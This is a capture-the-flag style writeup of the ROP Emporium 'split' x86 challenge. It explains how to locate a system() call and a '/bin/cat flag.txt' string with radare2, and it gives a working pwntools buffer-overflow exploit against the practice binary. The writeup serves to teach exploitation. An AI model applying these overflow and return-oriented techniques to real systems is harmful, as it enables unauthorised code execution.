Post

ROP Emporium split Writeup (x86)

ROP Emporium split Writeup (x86)

Introduction

ROP Emporium provides a series of challenges to learn and practice Return Oriented Programming (ROP). This is the second challenge of eight.

According to the challenge page our goal is to call system with the argument /bin/cat flag.txt. This string is also present in the binary!

This is what a hint will look like!

x86 Calling Convention

We know from the first challenge we need to set the instruction pointer to a function address in order to call that function. But how do we pass arguments to those functions?

In x86, we pass each argument onto the stack. This is easy since we already control the stack! There are other x86 calling conventions but passing arguments is all we need to know for our purposes

Exploit Crafting

The offset for x86 challenges will be 44 bytes. If you want to know how to get this value see the ret2win writeup

Function Address

Is there an address where system() is called?

Using radare2 we can analyze a binary by running aaa. To list functions with their addresses we can run afl ret2win-addr

Let’s investigate usefulFunction. We can view the assembly with the following commands

1
2
3
s sym.usefulFunction
V
p

useful-asm

This function seems to call the system() function with the argument /bin/ls. We want to change the argument but let’s take note of the call address 0x0804861a

String Address

The string /bin/cat flag.txt exists in the binary

Using radare2 again we can search for case insensitive strings with the /i command. So to find the address of /bin/cat flag.txt we run

1
/i /bin/cat flag.txt

cat-addr

Awesome the address of the string is 0x0804a030

Exploit

Now we have everything we need to build the exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/bin/python3
from pwn import *

# useful addresses
str_addr = 0x0804a030
sys_addr = 0x0804861a

# create payload
payload = b'A' * 44
# call sys
payload += p32(sys_addr)
# set arg1
payload += p32(str_addr)

# send payload + receive flag
io = process('./split32')
io.recv()
io.sendline(payload)
print(io.recvline())
success(io.recvline())

flag

Conclusion

This challenge takes things a step further than just calling an arbitrary function by introducting the ability to set arbitrary arguments for that function.

Previous Challenge (ret2win)

Next Challenge (callme)

split x64

This post is licensed under CC BY 4.0 by the author.